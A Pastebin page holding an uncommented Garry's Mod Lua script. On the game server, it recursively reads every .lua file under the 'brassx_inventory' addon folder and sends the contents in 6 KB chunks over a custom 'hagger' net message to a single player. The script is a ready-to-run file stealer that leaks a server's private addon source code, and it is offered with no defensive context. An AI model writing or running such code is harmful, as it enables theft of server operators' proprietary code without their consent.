Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- util.AddNetworkString[[hagger]]
- local r;
- local send = {};
- local count = 0;
- function r(q, e)
- local fs, ds = file.Find(q.."*", "GAME");
- for k,v in pairs(ds) do
- r(q..v.."/");
- end
- for k,v in pairs(fs) do
- if(v:sub(-4) ~= ".lua") then continue; end
- timer.Simple(count, function() send[q..v] = file.Read(q..v, "GAME") end);
- count = count + 0.05;
- end
- if(e) then print(count); timer.Simple(count + 1, e); end
- end
- r("addons/brassx_inventory/", function()
- local current;
- local count = 0;
- local persec = 1024 * 6; -- 6 kb
- for k,v in pairs(send) do
- while(v:len() > 0) do
- local a = v:sub(1, persec);
- timer.Simple(count, function()
- net.Start[[hagger]]
- net.WriteString(k);
- net.WriteString(a);
- net.Send(me);
- end)
- v = v:sub(persec + 1);
- count = count + 1;
- end
- end
- print(count);
- end);
Advertisement
Add Comment
Please, Sign In to add comment